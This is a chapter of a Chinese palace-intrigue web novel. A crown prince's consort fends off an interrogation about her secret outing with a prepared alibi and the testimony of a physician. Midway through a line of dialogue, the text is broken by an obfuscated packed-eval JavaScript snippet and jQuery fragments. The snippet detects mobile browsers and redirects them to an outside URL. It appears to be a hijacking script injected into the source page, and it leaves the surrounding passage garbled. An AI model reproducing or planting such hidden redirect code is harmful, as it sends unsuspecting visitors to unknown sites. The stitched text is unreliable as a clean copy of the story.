钟鹤稍作整顿,便打算离府,刚迈出大门,正打算登车时,一声口哨声从身后传来。
钟鹤转身,台阶之上,只见沈闻野正闲闲斜倚在梁柱上,长眉微挑,眼底漾着一丝漫不经心的笑意,睨着她。
“不知侯爷有何贵干?”
沈闻野稍稍摆正了身子,含着笑意道:“本侯以为,娘娘还有话要对本侯说呢。”
还有话?
这倒是……不过钟鹤理解的沈闻野是个聪明之人,自然能懂她的意思,何必追到府门前堵着自己。
钟鹤轻提裙摆,拾阶而上,沈闻野也顺势迎上前两步,却见她在隔着自己两级台阶的地方顿住脚步。
她仰起一张美人面,眼波流转间,流露出无限的风情,
“今日之事,还请侯爷,千万不用宣扬出去。”
沈闻野嘴角微微勾起,他俯身,离钟鹤又凑近了些,
“如若本侯偏不呢?”
原本潋滟的眸子在他话音刚落的那一刻凝结成冰,笑意不达眼底,更显一丝凉薄之态,
“妾身若被杀千刀、浸猪笼,定是要拉着定远侯爷一块陪葬的。”
一声轻笑自沈闻野的唇角溢出,
“那本侯,且等着。”
*
马车撵着来时路,行至东宫前。
一进东宫,便听到一阵吵吵嚷嚷,弘德殿内围了一圈人,负责传唤的宫婢见到钟鹤后,立马小碎步跑去,
“崔娘娘来了!”
所有的声音在这一刻安静了下来。
钟鹤走进去,正见到萧宁璟端坐台上,左边坐着的魏如澜在见到钟鹤后抬了抬眸子。
而中间跪着的二人,一个是方才见过的马狄敖,一个则是她留下看家的青葕。
更令她想不到的是,青葕正跪趴在地上哭得泣涕涟涟。
钟鹤连忙上前扶过,却见到她臂膀上各处皆有红痕,触目惊心,她怒眼看向魏如澜,喝道:
“你对她用刑了?!”
钟鹤突如其来的凛冽使得所有人都震惊了,尤其是萧宁璟。
他的良娣一贯是以柔弱温顺示人,何时有过这样的强硬之态。
原本坐着的魏如澜见状站了起来,强装镇定,“纵然是用刑又如何?一个奴婢而已,难道本妃还打不动?”
“青葕是我院内的丫头,若是她做了什么错事,也该由妾身来管教,何必待到堂前,劳烦太子妃殿下动手,况且,即便是要用刑,也该有个由头吧?”
钟鹤对魏如澜说完便又看向萧宁璟,眼眶已是半红,“太子妃殿下这般不明不白的罚了我房里的丫头,不知是在置妾身于何地呢!”
萧宁璟望着眼前的人似乎又回到了之前的模样,只觉方才似乎只是错觉罢了。
“好一个伶牙俐齿的崔良娣!”魏如澜最见不得钟鹤那做派,冷笑道,“说什么不明不白,那本妃问你,你今日出府是干什么去了?”
“妾身旧疾复发,听闻宫外有一游医医术高超,只可惜为人清倨,不愿登门,故而才亲自出宫拜访问药,难道这……娘娘也觉得有问题吗?”
魏如澜指了指地上还跪着的马狄敖,“那这人你可认识?”
马狄敖听罢,直起身子看向钟鹤。
钟鹤摆出一副极其认真的模样,端详了马狄敖几息,转而回魏如澜道:“妾身不曾见过此人。”
马狄敖闻言立马口喊冤枉,“今日在驿站,惊吓了下官的马害其跛了脚的人,正是这位娘娘啊!”
跛脚?
钟鹤不由得皱眉,那马被沈闻野送来时,她没仔细看,只当回来了便好了,怎还跛了脚。
“一派胡言!”
钟鹤十分愤怒,仿若真的被冤枉了般对萧宁璟道,“妾身出宫的次数少之又少,外男更是不曾见过,又怎么会认得此人呢?至于他说的什么在驿站惊吓了他的马,妾身更是闻所未闻,不知为何这位大人竟要这般攀咬我?”
原本还坚定的萧宁璟,在听完钟鹤的说辞后,心中不免产生了几分动摇。
钟鹤看了出来。
她立马屈下双膝,说道:“还请殿下明鉴!”
“你既说你去拜访名医,那你今日拜访的又是谁?本妃可没有听说过京都城内有什么性情孤傲的名医!”
钟鹤立马给出自己早就准备好的解释,“妾身今日拜访的,正是灵枢堂的辛娘子。”
灵枢堂的名头在京城之中不可谓不响亮,而坐镇其内的辛素问辛娘子,又实是符合钟鹤所说的为人清倨。
而钟鹤身后的知蘅却微微变了脸色。
毕竟,她知道……
辛素问,和崔韫珠。
原本便是同一个人。
魏如澜注意到她脸上的慌乱,又一次逼问道:“空口无凭,虽然是你想怎么说便怎么说。”
钟鹤不慌不忙道:“如若殿下不信,大可传唤辛娘子前来为妾身作证,只是……”
魏如澜以为是她心虚,“只是什么?”
“只是今日是辛娘子坐诊,灵枢堂前门庭若市,如若此刻公然前去相请,如有好事人问起再传开,只怕……”钟鹤抬眼看向萧宁璟,似有些踟蹰,“有损东宫名声。”
萧宁璟眉头微蹙,在心中暗自盘算其中利弊。
魏如澜看出他的犹豫,又一次开口道:
“太子乃是储君正统,又有谁敢非议东宫,即便有,绞了他的舌头便是!”
钟鹤似是被她这话惊到了一般栗栗危惧,手拿帕子捂着胸口,身体更是止不住的轻颤。
魏如澜躬身长揖于地,说道:“还请殿下遣人去往灵枢堂迎辛娘子入东宫。”
说罢侧头看向尚在战战的钟鹤,冷声道:“如若真冤了良娣,如此也好还她一个公道!”
公道……
从魏如澜嘴中听到这两个字,钟鹤只觉得讽刺无比。
钟鹤叩首再起,身子更是摇摇欲坠,知蘅连忙上前扶住钟鹤虚浮的身子,为她擦拭额角冒出的汗。
钟鹤眼角已挂泪珠,“还请殿下,还妾身公道。”
眼见如此情景,萧宁璟已是不忍,看向朱郃,命令道:“速速去请。”
约摸半炷香的功夫,一女子头戴帷帽款步走来,盈盈下拜,
“民女辛素问,见过各位贵人。”
魏如澜最先发问,“今日太子良娣,是否去了灵枢堂请你看诊?”
“太子……良娣?”
女子似乎是有些疑惑,紧接着道,“民女不曾认识什么太子良娣。”
什么情况?!
钟鹤微皱眉。
魏如澜倒是欣喜若狂,指着钟鹤便对萧宁璟道:“殿下,这位辛娘子既都不认识崔韫珠,又何来的她今日前往灵枢堂看病!”
女子却顺着魏如澜的指尖,看向钟鹤,面露惊讶,“不过这位女子,民女今日确为她看诊过,您……是太子良娣?”
钟鹤颔首,带着歉意道:“妾身知晓灵枢堂的规矩,只是旧疾实在难捱,如若不是疼痛难忍,万不会来叨扰娘子。”
女子回道:“治病救人,本是从医天责,无论贵贱。”
钟鹤又从衣袖中拿出一个药瓶,呈给萧宁璟看,“这是辛娘子今日为妾身所开具的丹药,名为‘三清丹’,可为物证。”
“这‘三清丹’普天之下,唯有我一人可知如何制作。”
女子从随身携带的药囊内取出与钟鹤方才拿出一模一样的药瓶递上,“殿下可以比对这两者是否为一物。”
魏如澜猛地踏前一步,抬手指向女子,语调陡然拔高,疾声道:“你既在京都行医问药,这丹药又怎么会只有你一人所有,旁的什么来灵枢堂看病之人,难道便不能有?如若良娣与他人勾结来诓骗我与殿下,也未尝不可!”
钟鹤却敏锐地找到她话中的漏洞,即刻乘胜追击,辩驳道:“太子妃殿下既然承认了,来灵枢堂看病之人才可获得此药,那又未尝不可证明妾身今日确实前往了灵枢堂,至于太子妃殿下所说的妾身与他人勾结,请太子妃殿下拿出证据来,而非仅仅只是用‘如若’一类的词脏在妾身身上。”
魏如澜转而问女子道:“京都药堂内皆有发药帐用以登记病患用药几何,不知辛娘子的灵枢堂可否留有存档?”
女子解释道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16041966|178815||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“每日前往灵枢堂看诊之人络绎不绝,用药不会每样细细登记,但‘三清丹’用材名贵,数量稀少,故而每一瓶的进出,灵枢堂均有记录,就在正堂内左边第三个架子的匣子内,如若太子殿下与太子妃殿下需要,派人走一趟灵枢堂便可。”
萧宁璟摆摆手,吩咐朱郃道:“去取。”
不一会,便有人带着籍册前来,女子上前抽出最下面的一本,打开到最新一页呈递给萧宁璟查看,并解释道:
“这边是良娣娘娘今日取药的记录。”
萧宁璟仔细对过日期以及墨迹的新旧确认这就是最新的笔迹,眉头越皱越紧。
魏如澜又吼道:“那旁人呢,旁的人不也能取这药?”
女子微微皱眉,又道:“自民女研制出三清丹至今,京都城里拿到的少说也有十几号人,难道太子妃殿下打算将他们每个人都带来审问一遍吗?如若真如此,那从此以后又有和人敢来我灵枢堂瞧病了,原先来灵枢堂的病患尚有还需复诊的,他们心中难道便不会再生怨怼,这于殿下而言,又有何益处呢?”
今日派人前去灵枢堂内带走辛素问,已然掀起波浪,如若再押来十几号人,民间只怕更是要再沸沸扬扬一番。
萧宁璟面色铁青,未置一词。
见他沉默,魏如澜反倒是更加急切,她不依不饶地扑上前紧紧攥过萧宁璟的衣袖,“难道便如此放过她吗,妾身的马……”
“够了!”
一声雷霆后,萧宁璟手臂猛然一拂袖,魏如澜承受不住这突如其来的力道,整个人向后跌去,狠狠掼在地上。
“这件事,点到为止!不许再议了!”
说罢便起身,带着怒气离去。
随从紧随着萧宁璟的步伐消失在殿门外,原本人影纷杂的殿内空了大半,魏如澜起身恶狠狠地看着脸上还挂着泪珠的钟鹤,只觉愈发怒不可遏,指着她的鼻子,喝道:
“崔韫珠,你给我等着!”
撂下这一句后,她便也起身离开,经过仍旧伏跪在地的马狄敖时还不忘踹上他一脚,唾骂道:
“没用的东西!”
钟鹤比之她要镇定得多,确认魏如澜走后,她敛了敛衣袍,缓缓起身走到尚且还跪在地上的青葕,扶过她的肩膀,轻抚了抚,
“可还有事?”
青葕泪眼模糊,却仍旧摇摇头,宽慰她道:“奴婢无碍的。”
钟鹤心中歉意万千,不忍道:“是我害你受苦了。”
她扶着青葕起身,见到女子朝这边频频望来,只好收拾了一下自己的表情,道:
“我送娘子离去。”
女子点了点头,温声道:
“劳驾了。”
回到栖云轩后,钟鹤从药箱中拿出止红膏为青葕擦抹,青葕受宠若惊,连连往后缩,
“娘娘,这、这实是不合规矩!”
“什么规矩不规矩的,你今日本就是为了我才受的罚。”钟鹤轻吹了吹伤口,仔细处理着,温声嘱咐道,“这几日伤口不可沾水,素日里行事更是千万注意些。”
青葕低声应下,“是。”
“还有……”钟鹤轻叹了一口气,“太子妃殿下应该,会来找你过去问话。”
“什、什么?”
青葕不可置信,又想起之前那个镯子,“那婢子应当如何应对?需要直接回绝吗?”
“她是太子妃殿下,而你只是一个不受宠的良娣的婢女,你又如何回绝呢?”钟鹤话虽这般说,手却温柔地抚摸着青葕的肩头,宽慰她道,“你自可放宽心,她此番大概只是想向你套话,你知道什么该说,什么不该说便足以,至于若问到今日之事,就只说自己待在栖云轩中,什么也不知道即可。”
听到钟鹤的这一番话,青葕终于明白为什么今日娘娘让自己留在宫内,而只带知蘅走。
心中不由生出一丝胆战心惊。
阖宫上下,她是与钟鹤最为亲近之人,自然明白这位崔良娣并非外人眼中所认为的那般柔弱可欺,但即便相处这般久的时日,她仍旧看不懂钟鹤心中所想。
“奴婢明白了。”
青葕回道。